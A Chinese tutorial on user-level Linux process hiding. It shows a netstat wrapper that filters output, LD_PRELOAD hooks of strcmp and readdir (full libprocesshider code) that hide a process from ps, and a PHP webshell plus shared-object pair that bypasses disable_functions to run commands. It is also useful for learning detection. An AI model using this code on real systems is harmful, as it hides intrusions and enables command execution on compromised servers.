浅谈Linux进程隐藏

浅谈Linux进程隐藏

文章目录

  • 浅谈Linux进程隐藏
    • 前言
    • 环境变量的绕过
      • 常用的命令在哪里
      • 环境变量的调用
      • 前置知识的了解
      • Netstat伪装
      • 怎么去甄别
    • LD_PRELOAD
      • 简单实例
        • check.c
        • 重载函数
        • 设置LD_PERLOAD
        • 删除环境变量LD_PERLOAD
    • PS的隐藏
      • readdir函数
      • 如何HOOK
      • 编译并验证
    • LD_PRELOAD的其他利用思路
    • References

前言

💡 本文不会涉及内核层面,只是从应用层介绍linux下进程隐藏的一些知识点,抛砖引玉,探索更多的思路

  • 环境变量的绕过。
  • LD_PRELOAD绕过方法。
  • 一些简单实例。
  • 一些其它绕过思路。

环境变量的绕过

常用的命令在哪里

ps、netstat、ls等

whereis netstat
which netstat

img

环境变量的调用

查看环境变量:echo $PATH

思考一下我有两个路径下一样的程序会调用哪一个?

img

前置知识的了解

$@:

​ 以一个单字符串显示所有向脚本传递的参数

​ 查看环境变量:echo $PATH

grep:

​ -E 或 --extended-regexp : 将样式为延伸的正则表达式来使用。

​ -v 或 --invert-match : 显示不包含匹配文本的所有行。

Netstat伪装

Netstat位置:
/usr/bin/netstat
创建优先级较高文件:
创建/usr/local/bin/netstat
写入:

# !/bin/bash    
/usr/bin/netstat $@ | grep -Ev 'name|name|name'

含有引号中每个|分割符中的选项都会被屏蔽
可以是进程名、ip或端口
赋予权限执行:
chmod +x netstat
这样便隐藏了相关信息

查看当前网络连接

img

消失的3306

img

怎么去甄别

通过查看命令所在的位置

img

LD_PRELOAD

链接:编译器找到程序中所引用的函数或全局变量所存在的位置

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。当多个程序都调用相同函数时,内存中就会存在这个函数的多个拷贝。

动态链接:指编译系统在链接阶段并不把目标文件和函数库文件链接在一起,而是等到程序在运行过程中需要使用时才链接函数库。

一旦你的程序动态载入的函数不是你自己写的,而是载入了别人的代码,通过返回值控制流程,那么就会带来一些危害。

正常情况下, Linux 动态加载器ld-linux会搜寻并装载程序所需的共享链接库文件, 而LD_PRELOAD是一个可选的环境变量,包含一个或多个指向共享链接库文件的路径。

加载器会先于 C 语言运行库之前载入LD_PRELOAD指定的共享链接库,也就是所谓的预装载 (preload)。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

如何利用呢?

简单实例

check.c

一个正常检查密码的C程序

正常编译并运行

//check.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){char passwd[] = "true_password";if(argc<2){printf("usage:%s <password>\n",argv[0]);return 0;}if(!strcmp(passwd,argv[1])){printf("Correct Passwword!\n");}else{printf("Invalid Password!\n");}return 0;
}

img

编译并运行

img

重载函数

重载strcmp()函数,并编译成动态链接库,实现劫持原函数的功能。

-shared:表明产生共享库

-fPIC:则表明使用地址无关代码,代码本身就能被放到线性地址空间的任意位置

//123.c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1,const char *s2){printf("s1=<%s>, s2=<%s>\n",s1,s2);return 0;
}
设置LD_PERLOAD

img

img

我们发现重载了函数,改变了原来函数的逻辑结构。

删除环境变量LD_PERLOAD
unset export LD_PRELOAD

img

PS的隐藏

跟踪PS

strace /usr/bin/ps

img

通过查看输出,发现PS就是在不断的读取/proc/pid 下的文件信息

一般先调用 newfstat() 确认文件状态,再调用openat()打开文件句柄,然后 read() 读取内容,最后close()关闭;不断重复这一系列动作从而获取进程信息。

不过这些调用是系统的调用,查阅资料PS直接调用的函数是readdir()opendir()

readdir函数

readdir函数返回一个指向dirent结构体的指针,该结构体代表了由dir指向的目录流中的下一个目录项;

如果读到end-of-file或者出现了错误,那么返回NULL。

readdir函数返回的值会被后续调用的(针对同一目录流的)readdir函数返回值所覆盖。

在Linux系统中,dirent结构体定义如下:

img

如何HOOK

思路如下:

  1. 重写readdir()函数,保证取值和返回类型相同
  2. 声明一个函数指针保存原始readdir()函数调用
  3. 程序调用我们假的readdir()函数时,函数内部去调用真正的readdir()获取到结果
  4. 函数内部判断当前进程路径是否为/proc
  5. 函数内部判断文件名是否为要过滤的进程名
  6. 当两个条件都满足时 continue 跳过,从而不打印进程名

参考别人的思路

https://github.com/gianlucaborello/libprocesshider

#define _GNU_SOURCE#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "ping";/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{int fd = dirfd(dirp);if(fd == -1) {return 0;}char tmp[64];snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);ssize_t ret = readlink(tmp, buf, size);if(ret == -1) {return 0;}buf[ret] = 0;return 1;
}/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{if(strspn(pid, "0123456789") != strlen(pid)) {return 0;}char tmp[256];snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);FILE* f = fopen(tmp, "r");if(f == NULL) {return 0;}if(fgets(tmp, sizeof(tmp), f) == NULL) {fclose(f);return 0;}fclose(f);int unused;sscanf(tmp, "%d (%[^)]s", &unused, buf);return 1;
}#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
\
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
if(original_##readdir == NULL) {                                    \
original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
if(original_##readdir == NULL)                                  \
{                                                               \
fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
}                                                               \
}                                                                   \
\
struct dirent* dir;                                                 \
\
while(1)                                                            \
{                                                                   \
dir = original_##readdir(dirp);                                 \
if(dir) {                                                       \
char dir_name[256];                                         \
char process_name[256];                                     \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
strcmp(dir_name, "/proc") == 0 &&                       \
get_process_name(dir->d_name, process_name) &&          \
strcmp(process_name, process_to_filter) == 0) {         \
continue;                                               \
}                                                           \
}                                                               \
break;                                                          \
}                                                                   \
return dir;                                                         \
}DECLARE_READDIR(dirent64, readdir64);DECLARE_READDIR(dirent, readdir);

编译并验证

img

测试ping 发现进程中找不到ping,如果制作后门连接的话,会在netstat里面看到,这就需要对netstat里面的函数hook,此处就不再一一展开。

img

LD_PRELOAD的其他利用思路

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

当拿到一个PHP的webshell无法执行系统命令时,发现有disable_functions禁用了命令执行函数。可尝试LD_PRELOAD思路绕过

GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))修饰的函数。

<?phpecho "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);
?>
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{// get command line options and argconst char* cmdline = getenv("EVIL_CMDLINE");// unset environment variable LD_PRELOAD.// unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick.int i;for (i = 0; environ[i]; ++i) {if (strstr(environ[i], "LD_PRELOAD")) {environ[i][0] = '\0';}}// executive commandsystem(cmdline);
}

References

  1. 进程隐藏
  2. disable_functions
  3. libprocesshider
  4. linuxStack
  5. readdir

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/518818.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

运算符重载(Operator Overloading)

定义 在C中&#xff0c;运算符重载&#xff08;Operator Overloading&#xff09;是一种允许程序员为自定义数据类型重新定义或重载已有的运算符的功能。通过运算符重载&#xff0c;我们可以使得自定义类型的对象能够像内置类型&#xff08;如int、float等&#xff09;一样使用…

基于yolov5的柿子成熟度检测系统,可进行图像目标检测,也可进行视屏和摄像检测(pytorch框架)【python源码+UI界面+功能源码详解】

功能演示&#xff1a; 基于yolov5的柿子成熟度检测系统&#xff0c;系统既能够实现图像检测&#xff0c;也可以进行视屏和摄像实时检测_哔哩哔哩_bilibili &#xff08;一&#xff09;简介 基于yolov5的柿子成熟度检测系统是在pytorch框架下实现的&#xff0c;这是一个完整的…

AES加密学习

AES&#xff08;高级加密标准&#xff09;是一种对称密钥加密算法&#xff0c;用于加密和解密数据。它被广泛应用于各种安全领域&#xff0c;包括但不限于网络通信、数据存储和软件保护。 历史背景 AES是由比利时密码学家Joan Daemen和Vincent Rijmen设计的Rijndael算法演变而…

MySQL实战45讲——30答疑文章(二):用动态的观点看加锁

目录 不等号条件里的等值查询 等值查询的过程 怎么看死锁&#xff1f; 怎么看锁等待&#xff1f; update 的例子 小结 上期问题时间 提示 文章摘自林晓斌老师《MySQL实战45讲》&#xff0c;作为笔记而用&#xff0c;故有加一些自己的理解。在第[20]和[21]篇文章中&…

加油!你也可以成为学生口中的“好老师”

在教育的道路上&#xff0c;每一位教师都承载着塑造未来的重要使命。而成为学生口中的“好老师”&#xff0c;无疑是每位教育工作者的追求和荣耀。那么&#xff0c;如何才能成为这样的“好老师”呢&#xff1f; 一、热爱教育&#xff0c;关爱学生 成为“好老师”的首要条件是对…

Freecad Assembly4装配模型设计入门

一、基本信息 本文内容&#xff1a;学习Assembly4装配模型设计功能。 2024年3月7日 最新版Freecad 0.21.2 最新版 Assembly4 0.50.8 下载地址&#xff1a;stoneold/FreeCAD_Assembly4 最新版 Assembly4 示例教程 下载地址&#xff1a;FreeCAD_Examples: Freecad Assmbly4 …

安全防御第七次作业

拓扑图如图所示&#xff1a; 问题&#xff1a;在FW7和FW8之间建立一条IPSEC通道保证10.0.2.0/24网段 可以正常访问到192.168.1.0/24 注&#xff1a;基础配置我在此省略了 一、NAT配置 FW4&#xff1a; FW6&#xff1a; 二、在FW4上做服务器映射 三、配置IPSEC FW5&#xff…

Vue+SpringBoot打造考研专业课程管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 考研高校模块2.3 高校教师管理模块2.4 考研专业模块2.5 考研政策模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 考研高校表3.2.2 高校教师表3.2.3 考研专业表3.2.4 考研政策表 四、系统展示五、核…

中间件 | Redis - [基本信息]

INDEX 1 常规用法2 QPS3 pipeline 1 常规用法 分布式锁 最常见用法&#xff0c;需要注意分布式锁的redis需要单点 分布式事务 分布式事务中&#xff0c;核心的技术难点其实是分布式事务这个事本身作为数据的持久化 2PC&#xff0c;比如 seata 的 AT 模式下&#xff0c;将 un…

101 向一个不存在的路径发送请求, get 得到 404, post 得到 405

前言 这是 最近碰到的一个问题, 大概是在 2022.05.30 前端这边 发送了一个业务请求过来, 这个请求路径是服务端这边不存在的 但是 奇怪的一点就是, 如果是以 get 请求发送过来, 服务端响应的是正确的 404 "Not Found", 但是 如果是以 post 请求发送过来, 服务端这边…

【漏洞复现】-用友CRM系统存在逻辑漏洞直接登录后台

免责声明&#xff1a; 本文内容为学习笔记分享&#xff0c;仅供技术学习参考&#xff0c;请勿用作违法用途&#xff0c;未授权的攻击属于非法行为&#xff01;文章中敏感信息均已做多层打马处理。任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失&#xff0c;…

Git 掌握

一、前言 大二上学期&#xff0c;学校开了数据库的课程&#xff0c;让做课程设计&#xff0c;数据库代码&#xff0c;文档等都搞好了&#xff0c;让老师看的时候文档写的不好&#xff0c;让修改&#xff0c;改了之后继续让老师看&#xff0c;来来回回弄了三四次&#xff0c;最…